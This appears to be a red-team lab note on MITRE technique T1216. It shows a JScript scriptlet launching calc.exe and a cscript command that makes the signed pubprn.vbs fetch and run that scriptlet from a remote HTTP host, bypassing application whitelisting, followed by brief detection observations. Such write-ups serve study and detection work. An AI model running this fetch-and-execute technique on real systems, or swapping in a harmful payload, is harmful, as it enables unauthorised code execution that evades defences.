offensive security
pubprn.vbs Signed Script Code Execution
Signed Script Proxy Execution - bypass application whitelisting using pubprn.vbs
Execution
Using pubprn.vbs, we will execute code to launch calc.exe. First of, the xml that will be executed by the script:
http://192.168.2.71/tools/mitre/proxy-script/proxy.sct
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<?XML version="1.0"?>
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<scriptlet>
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​
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<registration
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description="Bandit"
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progid="Bandit"
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version="1.00"
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classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
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>
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</registration>
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​
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<script language="JScript">
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<![CDATA[
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var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
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]]>
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</script>
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​
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</scriptlet>
Copied!
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cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.2.71/tools/mitre/proxy-script/proxy.sct
Copied!
Observations
Calc.exe gets spawned by cscript.exe which immediately closes leaving the calc.exe process orphan:
Monitoring commandlines can be useful in detecting the script being abused:
References
Signed Script Proxy Execution, Technique T1216 - Enterprise | MITRE ATT&CK®
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